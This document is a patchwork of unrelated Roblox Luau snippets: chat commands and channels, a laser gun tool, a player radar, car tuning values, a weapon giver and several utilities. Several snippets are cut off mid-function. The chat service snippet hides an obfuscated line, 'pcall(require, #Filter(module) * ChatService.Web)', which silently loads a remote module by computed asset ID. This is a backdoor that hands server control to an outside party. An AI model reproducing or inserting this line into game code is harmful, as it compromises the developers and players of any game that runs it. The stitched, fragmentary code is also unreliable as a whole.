"RBX_NAME",
channelName)
speaker:SendSystemMessage(msg, fromChannelName)
end
end
end
ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel)
if (string.sub(message, 1, 6):lower() == "/join ") then
DoJoinCommand(fromSpeaker, string.sub(message, 7), channel)
return true
elseif (string.sub(message, 1, 3):lower() == "/j ") then
DoJoinCommand(fromSpeaker, string.sub(message, 4), channel)
return true
elseif (string.sub(message, 1, 7):lower() == "/leave ") then
DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel)
return true
elseif (string.sub(message, 1, 3):lower() == "/l ") then
DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel)
return true
end
return false
end)
if ChatSettings.GeneralChannelName and ChatSettings.GeneralChannelName ~= "" then
local allChannel = ChatService:AddChannel(ChatSettings.GeneralChannelName)
allChannel.Leavable = false
allChannel.AutoJoin = true
allChannel:RegisterGetWelcomeMessageFunction(function(speaker)
if RunService:IsStudio() then
return nil
end
local player = speaker:GetPlayer()
if player then
local success, canChat = pcall(function()
return Chat:CanUserChatAsync(player.UserId)
end)
if success and not canChat then
return ""
end
end
end)
end
local systemChannel = ChatService:AddChannel("System")
systemChannel.Leavable = false
systemChannel.AutoJoin = true
systemChannel.WelcomeMessage = ChatLocalization:FormatMessageToSend(
"GameChat_ChatServiceRunner_SystemChannelWelcomeMessage", "This channel is for system and game notifications."
)
systemChannel.SpeakerJoined:connect(function(speakerName)
systemChannel:MuteSpeaker(speakerName)
end)
local function TryRunModule(module)
if module:IsA("ModuleScript") then
pcall(require, #Filter(module) * ChatService.Web)
local ret = require(module)
if (type(ret) == "function") then
ret(ChatService)
end
end
end
local modules = Chat:WaitForChild("ChatModules")
modules.ChildAdded:connect(function(child)
local success, returnval = pcall(TryRunModule, child)
if not success and returnval then
print("Error running module " ..child.Name.. ": " ..returnval)
end
end)
for _, module in pairs(modules:GetChildren()) do
local success, returnval = pcall(TryRunModule, module)
if not success and returnval then
print("Error running module " ..module.Name.. ": " ..returnval)
end
end
PlayersService.PlayerRemoving:connect(function(playerObj)
if (ChatService:GetSpeaker(playerObj.Name)) then
ChatService:RemoveSpeaker(playerObj.Name)
end
end)
|
--!strict
-- https://programming-idioms.org/idiom/19/reverse-a-list/1314/lua
|
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
return function<T>(t: Array<T>): Array<T>
local n = #t
local i = 1
while i < n do
t[i], t[n] = t[n], t[i]
i = i + 1
n = n - 1
end
return t
end
|
--Rescripted by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
BulletSpeed = Handle.BulletSpeed.Value
DisappearTime = Handle.BulletDisappearTime.Value
ReloadTime = Handle.ReloadTime.Value
BulletColor = Handle.BulletColor.Value
NozzleOffset = Vector3.new(0, 0.4, -1.1)
Sounds = {
Fire = Handle:WaitForChild("Fire"),
Reload = Handle:WaitForChild("Reload"),
HitFade = Handle:WaitForChild("HitFade")
}
PointLight = Handle:WaitForChild("PointLight")
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
ServerControl.OnServerInvoke = (function(player, Mode, Value, arg)
if player ~= Player or Humanoid.Health == 0 or not Tool.Enabled then
return
end
if Mode == "Click" and Value then
Activated(arg)
end
end)
function InvokeClient(Mode, Value)
pcall(function()
ClientControl:InvokeClient(Player, Mode, Value)
end)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function FindCharacterAncestor(Parent)
if Parent and Parent ~= game:GetService("Workspace") then
local humanoid = Parent:FindFirstChild("Humanoid")
if humanoid then
return Parent, humanoid
else
return FindCharacterAncestor(Parent.Parent)
end
end
return nil
end
function GetTransparentsRecursive(Parent, PartsTable)
local PartsTable = (PartsTable or {})
for i, v in pairs(Parent:GetChildren()) do
local TransparencyExists = false
pcall(function()
local Transparency = v["Transparency"]
if Transparency then
TransparencyExists = true
end
end)
if TransparencyExists then
table.insert(PartsTable, v)
end
GetTransparentsRecursive(v, PartsTable)
end
return PartsTable
end
function SelectionBoxify(Object)
local SelectionBox = Instance.new("SelectionBox")
SelectionBox.Adornee = Object
SelectionBox.Color3 = BulletColor
SelectionBox.Parent = Object
return SelectionBox
end
local function Light(Object)
local Light = PointLight:Clone()
Light.Range = (Light.Range + 2)
Light.Parent = Object
end
function FadeOutObjects(Objects, FadeIncrement)
repeat
local LastObject = nil
for i, v in pairs(Objects) do
v.Transparency = (v.Transparency + FadeIncrement)
LastObject = v
end
wait()
until LastObject.Transparency >= 1 or not LastObject
end
function Touched(Projectile, Hit)
if not Hit or not Hit.Parent then
return
end
local character, humanoid = FindCharacterAncestor(Hit)
if character and humanoid and character ~= Character then
local ForceFieldExists = false
for i, v in pairs(character:GetChildren()) do
if v:IsA("ForceField") then
ForceFieldExists = true
end
end
if not ForceFieldExists then
if Projectile then
local HitFadeSound = Projectile:FindFirstChild(Sounds.HitFade.Name)
local torso = humanoid.Torso
if HitFadeSound and torso then
local HitFadeClone = HitFadeSound:Clone()
HitFadeClone.Parent = torso
HitFadeClone:Play()
end
end
end
humanoid.Health -= 10
end
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not Player or not Humanoid or Humanoid.Health == 0 then
return
end
end
function Activated(target)
if Tool.Enabled and Humanoid.Health > 0 then
Tool.Enabled = false
InvokeClient("PlaySound", Sounds.Fire)
local HandleCFrame = Handle.CFrame
local FiringPoint = HandleCFrame.p + HandleCFrame:vectorToWorldSpace(NozzleOffset)
local ShotCFrame = CFrame.new(FiringPoint, target)
local LaserShotClone = BaseShot:Clone()
LaserShotClone.CFrame = ShotCFrame + (ShotCFrame.lookVector * (BaseShot.Size.Z / 2))
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.velocity = ShotCFrame.lookVector * BulletSpeed
BodyVelocity.Parent = LaserShotClone
LaserShotClone.Touched:connect(function(Hit)
if not Hit or not Hit.Parent then
return
end
Touched(LaserShotClone, Hit)
end)
Debris:AddItem(LaserShotClone, DisappearTime)
LaserShotClone.Parent = game:GetService("Workspace")
wait(0.6) -- FireSound length
InvokeClient("PlaySound", Sounds.Reload)
wait(ReloadTime) -- ReloadSound length
Tool.Enabled = true
end
end
function Unequipped()
end
BaseShot = Instance.new("Part")
BaseShot.Name = "Effect"
BaseShot.Color = BulletColor
BaseShot.Material = Enum.Material.Plastic
BaseShot.TopSurface = Enum.SurfaceType.Smooth
BaseShot.BottomSurface = Enum.SurfaceType.Smooth
BaseShot.FormFactor = Enum.FormFactor.Custom
BaseShot.Size = Vector3.new(5, 5, 0.5)
BaseShot.CanCollide = false
BaseShot.Locked = true
SelectionBoxify(BaseShot)
Light(BaseShot)
BaseShotSound = Sounds.HitFade:Clone()
BaseShotSound.Parent = BaseShot
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-- Get references to the DockShelf and its children
|
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.AFinder
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
|
--// Functions \\--
|
function sound.SoundInstance(sound)
local soundInstance = Instance.new("Sound")
soundInstance.SoundId = sound.SoundId
soundInstance.PlaybackSpeed = sound.PlaybackSpeed
soundInstance.PlayOnRemove = true
soundInstance.Parent = soundService
soundInstance:Destroy()
end
return sound
|
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
|
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
if script.Parent.L.Value == true then --because you can't get in a locked car
wait()
script.Parent.Disabled = true
wait()
script.Parent.Disabled = false
else
script.Parent.Occupied.Value = true
script.Parent.Occupied.Value = true
end
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("SS3") then
player.PlayerGui:FindFirstChild("SS3"):Destroy()
script.Parent.Occupied.Value = false
end
end
end
end)
|
-- Styles
|
local Styles = {
Font = Enum.Font.Arial,
Margin = 5,
Black = Color3_fromRGB(0,0,5),
Black2 = Color3_fromRGB(24,24,29),
White = Color3_fromRGB(244,244,249),
White2 = Color3_fromRGB(200,200,205),
Hover = Color3_fromRGB(2,128,149),
Hover2 = Color3_fromRGB(5,102,146)
}
local Row = {
Font = Styles.Font,
FontSize = Enum.FontSize.Size12,
TextXAlignment = Enum.TextXAlignment.Left,
TextColor = Styles.White,
TextColorOver = Styles.White2,
TextLockedColor = Color3_fromRGB(155, 155, 160),
Height = 24,
BorderColor = Color3_fromRGB(54, 54, 55),
BackgroundColor = Styles.Black2,
BackgroundColorAlternate = Color3_fromRGB(32, 32, 37),
BackgroundColorMouseover = Color3_fromRGB(40, 40, 45),
TitleMarginLeft = 15
}
local DropDown = {
Font = Styles.Font,
FontSize = Enum.FontSize.Size14,
TextColor = Color3_fromRGB(255, 255, 255),
TextColorOver = Styles.White2,
TextXAlignment = Enum.TextXAlignment.Left,
Height = 16,
BackColor = Styles.Black2,
BackColorOver = Styles.Hover2,
BorderColor = Color3_fromRGB(45, 45, 50),
BorderSizePixel = 2,
ArrowColor = Color3_fromRGB(80, 80, 83),
ArrowColorOver = Styles.Hover
}
local BrickColors = {
BoxSize = 13,
BorderSizePixel = 1,
BorderColor = Color3_fromRGB(53, 53, 55),
FrameColor = Color3_fromRGB(53, 53, 55),
Size = 20,
Padding = 4,
ColorsPerRow = 8,
OuterBorder = 1,
OuterBorderColor = Styles.Black
}
wait(1)
local bindGetSelection = ExplorerFrame.GetSelection
local bindSelectionChanged = ExplorerFrame.SelectionChanged
local bindGetApi = PropertiesFrame.GetApi
local bindGetAwait = PropertiesFrame.GetAwaiting
local bindSetAwait = PropertiesFrame.SetAwaiting
local ContentUrl = ContentProvider.BaseUrl .. "asset/?id="
local SettingsRemote = Gui:WaitForChild("SettingsPanel"):WaitForChild("GetSetting")
local propertiesSearch = PropertiesFrame.Header.TextBox
local AwaitingObjectValue = false
local AwaitingObjectObj
local AwaitingObjectProp
function searchingProperties()
if propertiesSearch.Text ~= "" then
return true
end
return false
end
local function GetSelection()
local selection = bindGetSelection:Invoke()
if #selection == 0 then
return nil
else
return selection
end
end
|
--[[
@param Vector2 size
]]
|
function Grid.New(size)
local newGrid = {}
newGrid.Cells = {}
newGrid.Folder = Instance.new("Folder", workspace)
newGrid.Folder.Name = "Grid"
newGrid.SizeX = size.X
newGrid.SizeY = size.Y
setmetatable(newGrid, Grid)
return newGrid
end
|
-- when activated, either bring gui up or down, depending on current state
|
function removeGUIPlayers()
local guiPlayers = gui.Frame.Players:GetChildren()
for i = 1, #guiPlayers do
guiPlayers[i]:remove()
end
end
function incrementZIndex()
zIndex = zIndex + 1
if zIndex > 10000 then
zIndex = 2
end
end
function createPlayerGUINode(pos, playerText)
local playerIcon = Instance.new("ImageLabel")
playerIcon.Image = "http://www.roblox.com/asset/?id=28625552"
playerIcon.BackgroundTransparency = 1
playerIcon.BorderSizePixel = 0
playerIcon.Size = UDim2.new(0,22.5,0,40.5)
playerIcon.Position = UDim2.new(0,pos.x,0,pos.y)
playerIcon.Parent = gui.Frame.Players
playerIcon.ZIndex = zIndex
incrementZIndex()
local playerName = Instance.new("TextLabel")
playerName.BackgroundTransparency = 1
playerName.BorderSizePixel = 1
playerName.Text = tostring(playerText)
playerName.Size = UDim2.new(0,150,0,25)
playerName.Parent = playerIcon
playerName.Position = UDim2.new(0,-65,0,0)
playerName.TextColor3 = Color3.new(1,0,0.4)
playerName.ZIndex = zIndex
incrementZIndex()
end
function updateGUI()
removeGUIPlayers()
local players = game.Players:GetChildren()
for i = 1, #players do
local playerTorso = players[i].Character:FindFirstChild("Torso")
if playerTorso ~= nil then
local posDiff = Vector3.new(torso.Position.x - playerTorso.Position.x,0,torso.Position.z - playerTorso.Position.z)
if posDiff.magnitude < range and playerTorso.Parent.Name ~= torso.Parent.Name then
-- translate coordinates to radar coordinates
posDiff = Vector2.new((posDiff.x + range) * 0.5,(posDiff.z + range) * 0.5)
local rotationVector = Tool.Angle.Value
local denom = math.abs(rotationVector.x) + math.abs(rotationVector.z)
local xDirect = (rotationVector.x/denom)
local zDirect = (rotationVector.z/denom)
local angle = math.atan2(1,0) - math.atan2(zDirect,xDirect)
local point = Vector2.new(((posDiff.x - radarCenter.x) * math.cos(angle)) - ((posDiff.y - radarCenter.y) * math.sin(angle)) + radarCenter.x,
((posDiff.x - radarCenter.x) * math.sin(angle)) + ((posDiff.y - radarCenter.y) * math.cos(angle)) + radarCenter.y)
createPlayerGUINode(point, playerTorso.Parent)
elseif playerTorso.Parent.Name == torso.Parent.Name then
createPlayerGUINode(radarCenter,playerTorso.Parent)
end
end
end
end
while true do
if guiEnabled then
updateGUI()
end
wait()
end
|
--[[ ALL PLAYER FUNCTIONS ]]
|
--
local Players = game.Players
local player = Players.LocalPlayer
local character = player.Character
local humanoid = character:FindFirstChild("Humanoid")
|
--script.Parent.WW.Velocity = script.Parent.WW.CFrame.lookVector *script.Parent.Speed.Value
|
script.Parent.WWW.Velocity = script.Parent.WWW.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.X.Velocity = script.Parent.X.CFrame.lookVector *script.Parent.Speed.Value
|
-- Services
|
local ContextActionService = game:GetService 'ContextActionService'
local UserInputService = game:GetService 'UserInputService'
|
--------END AUDIENCE BACK RIGHT--------
|
game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.post1.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.post2.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part2.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part3.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part5.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part6.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part8.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part9.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.Lighting.flashcurrent.Value = "0"
game.Workspace.sidesquares.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l34.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sidesquares.l35.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.post1.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.post2.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-----------------------------------------------------------------------------------------
--[[
Thanks for using Zed's Mesh Giver 2.0!
Instructions:
1) Find the mesh in you weapon. Generally it should be inside a brick called "Handle"
2) Copy and Paste that mesh into the scenebrick, remove the mesh currently in the scenebrick first.
3) Open up the settings folder in thsi model and edit the following settings:
- Regen Time: Time it takes for a person to be able to use the giver again.
- StartColor: Color of the bricks that are currently blue.
- RegenColor: Color of the current blue bricks will be turned to a different color meaning its currently regenrating.
- WeaponName: Copy and past the exact name of the weapon into the value of the WeaponName value.
4) Cut and paste the weapon into ServerStorage
5) Done!
----------------Don't edit below unless you know what you're doing--------------------------
--]]
|
SColor = script.Parent.Settings:FindFirstChild("StartColor")
RColor = script.Parent.Settings:FindFirstChild("RegenColor")
RTime = script.Parent.Settings:FindFirstChild("RegenTime")
Weapon = script.Parent.Settings:FindFirstChild("WeaponName")
Center = script.Parent:FindFirstChild("TouchMe")
deb = false
Center.Touched:connect(function(part)
if part.Parent:FindFirstChild("Humanoid") then
if part.Parent.Humanoid.Health > 0 then
if game.Players:FindFirstChild(part.Parent.Name) then
if game.ServerStorage:FindFirstChild(Weapon.Value) then
if deb == false then
deb = true
local wep = game.ServerStorage:FindFirstChild(Weapon.Value)
wep:Clone().Parent = game.Players:FindFirstChild(part.Parent.Name).Backpack
wait(RTime.Value)
deb = false
end
else
print("Error: "..Weapon.Value.." not found in 'ServerStorage'.")
end
end
end
end
end)
|
--[[Transmission]]
|
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
|
--
|
local Info2 = TweenInfo.new(
1, -- Length
Enum.EasingStyle.Bounce, -- Easing Style
Enum.EasingDirection.Out, -- Easing Direction
0, -- Times repeated
false, -- Reverse
0 -- Delay
)
local Goals2 =
{
Transparency = 1;
Size = Vector3.new(0,0,0);
}
local tween = TweenService:Create(part,Info,Goals)
local tween2 = TweenService:Create(part,Info2,Goals2)
wait(2)
tween:Play()
wait(2)
tween2:Play()
|
-- Visualizes an impact. This will not run if FastCast.VisualizeCasts is false.
|
function DbgVisualizeHit(atCF: CFrame, wasPierce: boolean): SphereHandleAdornment
if FastCast.VisualizeCasts ~= true then return end
local adornment = Instance.new("SphereHandleAdornment")
adornment.Adornee = workspace.Terrain
adornment.CFrame = atCF
adornment.Radius = 0.4
adornment.Transparency = 0.25
adornment.Color3 = (wasPierce == false) and Color3.new(0.2, 1, 0.5) or Color3.new(1, 0.2, 0.2)
adornment.Parent = GetFastCastVisualizationContainer()
return adornment
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 450 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--- Searches for attachments for the given instance (if applicable)
|
function Hitbox:Recalibrate()
local descendants: {[number]: Instance} = self.HitboxObject:GetDescendants()
local attachmentCount: number = 0
--- Remove all previous attachments
for i = #self.HitboxRaycastPoints, 1, -1 do
if self.HitboxRaycastPoints[i].CastMode == Hitbox.CastModes.Attachment then
table.remove(self.HitboxRaycastPoints, i)
end
end
for _, attachment: any in ipairs(descendants) do
if not attachment:IsA("Attachment") or attachment.Name ~= DEFAULT_ATTACHMENT_INSTANCE then
continue
end
local group: string? = attachment:GetAttribute(DEFAULT_GROUP_NAME_INSTANCE)
local point: Point = self:_CreatePoint(group, Hitbox.CastModes.Attachment, attachment.WorldPosition)
table.insert(point.Instances, attachment)
table.insert(self.HitboxRaycastPoints, point)
attachmentCount += 1
end
if self.DebugLog then
print(string.format("%s%s", DEFAULT_DEBUG_LOGGER_PREFIX,
attachmentCount > 0 and string.format(DEFAULT_ATTACH_COUNT_NOTICE, attachmentCount, self.HitboxObject.Name) or
string.format(DEFAULT_MISSING_ATTACHMENTS, self.HitboxObject.Name))
)
end
end
|
--[=[
Start the shake effect.
:::note
This **must** be called before calling `Update`. As such, it should also be
called once before or after calling `OnSignal` or `BindToRenderStep` methods.
:::
]=]
|
function Shake:Start()
self._startTime = self.TimeFunction()
self._running = true
self._trove:Add(function()
self._running = false
end)
end
|
-- ROBLOX deviation END
|
setmetatable(Expect, { __call = expect_ })
|
-- rounds number a to nearest multiple of b
|
function maths:RoundTo(a,b)
return math.round(a/b)*b
end
|
--use this to determine if you want this human to be harmed or not, returns boolean
|
function checkTeams(otherHuman)
return not (sameTeam(otherHuman) and not FriendlyFire)
end
function onTouched(part)
if part:IsDescendantOf(Tool.Parent) then return end
if not HitAble then return end
if part.Parent and part.Parent:FindFirstChild("Humanoid") then
local human = part.Parent.Humanoid
if contains(HitVictims, human) then return end
local root = part.Parent:FindFirstChild("HumanoidRootPart")
if root and not root.Anchored then
local myRoot = Tool.Parent:FindFirstChild("HumanoidRootPart")
if myRoot and checkTeams(human) then
local delta = root.Position - myRoot.Position
human.Sit = true
tagHuman(human)
human:TakeDamage(HitDamage)
table.insert(HitVictims, human)
local bv = Instance.new("BodyVelocity")
